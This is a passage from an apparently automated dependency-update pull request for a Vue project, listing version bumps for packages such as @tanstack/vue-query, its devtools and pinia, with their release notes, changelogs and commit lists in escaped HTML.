`10.12.0` | `10.13.0` |\n| [eslint-plugin-storybook](https://github.com/storybookjs/storybook/tree/HEAD/code/lib/eslint-plugin) | `10.6.1` | `10.6.3` |\n| [jsdom](https://github.com/jsdom/jsdom) | `30.1.2` | `30.1.3` |\n| [npm-run-all2](https://github.com/bcomnes/npm-run-all2) | `9.0.3` | `9.0.4` |\n| [playwright](https://github.com/microsoft/playwright) | `1.64.0` | `1.64.1` |\n| [sass-embedded](https://github.com/sass/embedded-host-node) | `1.105.1` | `1.106.0` |\n| [storybook](https://github.com/storybookjs/storybook/tree/HEAD/code/core) | `10.6.2` | `10.6.3` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.3.4` | `8.3.5` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.3` | `5.0.5` |\n| [vue-tsc](https://github.com/vuejs/language-tools/tree/HEAD/packages/tsc) | `3.3.12` | `3.3.13` |\n\n\nUpdates `@tanstack/vue-query` from 5.104.1 to 5.104.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/vue-query's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/fce89ddf7a35b14252096ff64a1217efd81b415c\"\u003e\u003ccode\u003efce89dd\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11796\"\u003e#11796\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/69e114aecfdbd0a05625065aea4e43415fa386b3\"\u003e\u003ccode\u003e69e114a\u003c/code\u003e\u003c/a\u003e - Export the \u003ccode\u003eMutationResult\u003c/code\u003e type so inferred \u003ccode\u003euseMutation\u003c/code\u003e return types can be named when emitting declarations\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/03e8c3955ddbf20f0a07b79982b52dfad8df5323\"\u003e\u003ccode\u003e03e8c39\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/vue-query/CHANGELOG.md\"\u003e@​tanstack/vue-query's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/fce89ddf7a35b14252096ff64a1217efd81b415c\"\u003e\u003ccode\u003efce89dd\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11796\"\u003e#11796\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/69e114aecfdbd0a05625065aea4e43415fa386b3\"\u003e\u003ccode\u003e69e114a\u003c/code\u003e\u003c/a\u003e - Export the \u003ccode\u003eMutationResult\u003c/code\u003e type so inferred \u003ccode\u003euseMutation\u003c/code\u003e return types can be named when emitting declarations\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/03e8c3955ddbf20f0a07b79982b52dfad8df5323\"\u003e\u003ccode\u003e03e8c39\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a8ecc8d42f82c795fbe5771be5e41dee54bd7e34\"\u003e\u003ccode\u003ea8ecc8d\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/12128\"\u003e#12128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/12199722dc3f7443b7bbb575611dce59cfd08534\"\u003e\u003ccode\u003e1219972\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/12062\"\u003e#12062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/ee47993724e5b71e65d9f38ae416367d2dd18395\"\u003e\u003ccode\u003eee47993\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11998\"\u003e#11998\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b699b52d60e10220403673a407d95bcebeba3e81\"\u003e\u003ccode\u003eb699b52\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11849\"\u003e#11849\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/e22e7c4a27129457636a2a800f8ce19fc0c7b0e3\"\u003e\u003ccode\u003ee22e7c4\u003c/code\u003e\u003c/a\u003e chore: test TypeScript 7.1 preview and drop 5.6 (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11947\"\u003e#11947\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/df78a9d137993546a6d7407b3fd68c1b5429888a\"\u003e\u003ccode\u003edf78a9d\u003c/code\u003e\u003c/a\u003e chore(*): pass the root 'settings' to the package oxlint configs, which 'exte...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/833062c2fcf3720f6e0201adb832aa7bd90e3770\"\u003e\u003ccode\u003e833062c\u003c/code\u003e\u003c/a\u003e chore: replace prettier with oxfmt (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11939\"\u003e#11939\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/d0cfa6a4a8ee7ad9895ae196910a8718e9308a74\"\u003e\u003ccode\u003ed0cfa6a\u003c/code\u003e\u003c/a\u003e chore: replace eslint with oxlint (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11938\"\u003e#11938\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/71536972b582cf7f3828bb657c27b19546434d64\"\u003e\u003ccode\u003e7153697\u003c/code\u003e\u003c/a\u003e docs(vue-query/useMutation): add JSDoc to 'MutationResult' (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11937\"\u003e#11937\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/69e114aecfdbd0a05625065aea4e43415fa386b3\"\u003e\u003ccode\u003e69e114a\u003c/code\u003e\u003c/a\u003e fix(vue-query): export \u003ccode\u003eMutationResult\u003c/code\u003e type (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11796\"\u003e#11796\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/vue-query@5.104.5/packages/vue-query\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/vue-query-devtools` from 6.3.1 to 6.3.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/vue-query-devtools's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c8f5eac9df24c3cf987dc23865493ebd0d346caa\"\u003e\u003ccode\u003ec8f5eac\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/b61abc2033f9e2fbf24d6753baedeaa74b2f1c17\"\u003e\u003ccode\u003eb61abc2\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11413\"\u003e#11413\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/67705fd6ad164dc8ca99d44374206f62dd6a03f2\"\u003e\u003ccode\u003e67705fd\u003c/code\u003e\u003c/a\u003e - Update floating and embedded devtools when the client prop changes, preserving the initially resolved client as the fallback when the override is removed.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/69e114aecfdbd0a05625065aea4e43415fa386b3\"\u003e\u003ccode\u003e69e114a\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/vue-query-devtools/CHANGELOG.md\"\u003e@​tanstack/vue-query-devtools's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.3.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.3.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c8f5eac9df24c3cf987dc23865493ebd0d346caa\"\u003e\u003ccode\u003ec8f5eac\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/b61abc2033f9e2fbf24d6753baedeaa74b2f1c17\"\u003e\u003ccode\u003eb61abc2\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.3.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11413\"\u003e#11413\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/67705fd6ad164dc8ca99d44374206f62dd6a03f2\"\u003e\u003ccode\u003e67705fd\u003c/code\u003e\u003c/a\u003e - Update floating and embedded devtools when the client prop changes, preserving the initially resolved client as the fallback when the override is removed.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.3.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/69e114aecfdbd0a05625065aea4e43415fa386b3\"\u003e\u003ccode\u003e69e114a\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a8ecc8d42f82c795fbe5771be5e41dee54bd7e34\"\u003e\u003ccode\u003ea8ecc8d\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/12128\"\u003e#12128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/12199722dc3f7443b7bbb575611dce59cfd08534\"\u003e\u003ccode\u003e1219972\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/12062\"\u003e#12062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/ee47993724e5b71e65d9f38ae416367d2dd18395\"\u003e\u003ccode\u003eee47993\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11998\"\u003e#11998\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/67705fd6ad164dc8ca99d44374206f62dd6a03f2\"\u003e\u003ccode\u003e67705fd\u003c/code\u003e\u003c/a\u003e fix(vue-query-devtools): update client when prop changes (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11413\"\u003e#11413\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b699b52d60e10220403673a407d95bcebeba3e81\"\u003e\u003ccode\u003eb699b52\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11849\"\u003e#11849\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/e22e7c4a27129457636a2a800f8ce19fc0c7b0e3\"\u003e\u003ccode\u003ee22e7c4\u003c/code\u003e\u003c/a\u003e chore: test TypeScript 7.1 preview and drop 5.6 (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11947\"\u003e#11947\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/df78a9d137993546a6d7407b3fd68c1b5429888a\"\u003e\u003ccode\u003edf78a9d\u003c/code\u003e\u003c/a\u003e chore(*): pass the root 'settings' to the package oxlint configs, which 'exte...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/d0cfa6a4a8ee7ad9895ae196910a8718e9308a74\"\u003e\u003ccode\u003ed0cfa6a\u003c/code\u003e\u003c/a\u003e chore: replace eslint with oxlint (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11938\"\u003e#11938\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/688f6e072223bc773a131f62a70689ad5cc9e96b\"\u003e\u003ccode\u003e688f6e0\u003c/code\u003e\u003c/a\u003e docs(*): describe 'shadowDOMTarget' as the shadow DOM the devtools styles are...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/27a8a89d8c55d7795ee2c1cf8ca6b9247266a784\"\u003e\u003ccode\u003e27a8a89\u003c/code\u003e\u003c/a\u003e docs(vue-query): add JSDoc to the exported interfaces and type aliases (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11871\"\u003e#11871\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/vue-query-devtools@6.3.5/packages/vue-query-devtools\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pinia` from 4.0.3 to 4.1.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/270a217851eae9f4b2d7fc3e3b05d98024348269\"\u003e\u003ccode\u003e270a217\u003c/code\u003e\u003c/a\u003e release: pinia@4.1.0 \u003ccode\u003e@​pinia/testing\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.0.2 \u003ccode\u003e@​pinia/nuxt\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.0.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/bf7ea46846ac6e6159e896f8c7bead6907c41e38\"\u003e\u003ccode\u003ebf7ea46\u003c/code\u003e\u003c/a\u003e feat: warn when disposing a replaced store (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3193\"\u003e#3193\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/fddd7c553555002a2fd16d20fdcad25174860adc\"\u003e\u003ccode\u003efddd7c5\u003c/code\u003e\u003c/a\u003e test: unused\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/52fc965fec49a4769e673c8b48669fbb46526803\"\u003e\u003ccode\u003e52fc965\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003egetStores()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3194\"\u003e#3194\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/f48737e9aaffcb63c70c0f4f2c977e91be657fcb\"\u003e\u003ccode\u003ef48737e\u003c/code\u003e\u003c/a\u003e docs: fix links to heading anchors that use the wrong case (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3189\"\u003e#3189\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/668e8813133cb3bd7fa075c1bca78c9fb756ddfe\"\u003e\u003ccode\u003e668e881\u003c/code\u003e\u003c/a\u003e refactor(nuxt): upgrade module for Nuxt 4.6 (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3188\"\u003e#3188\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/a1581860ec76a924875f65efefa5f63006b67be9\"\u003e\u003ccode\u003ea158186\u003c/code\u003e\u003c/a\u003e fix(testing): notify shallow refs on initial state (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3187\"\u003e#3187\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/98587ca465b2c45e4053548261e769cad380ba5a\"\u003e\u003ccode\u003e98587ca\u003c/code\u003e\u003c/a\u003e fix(nuxt): resolve default storesDirs against each layer (\u003ca 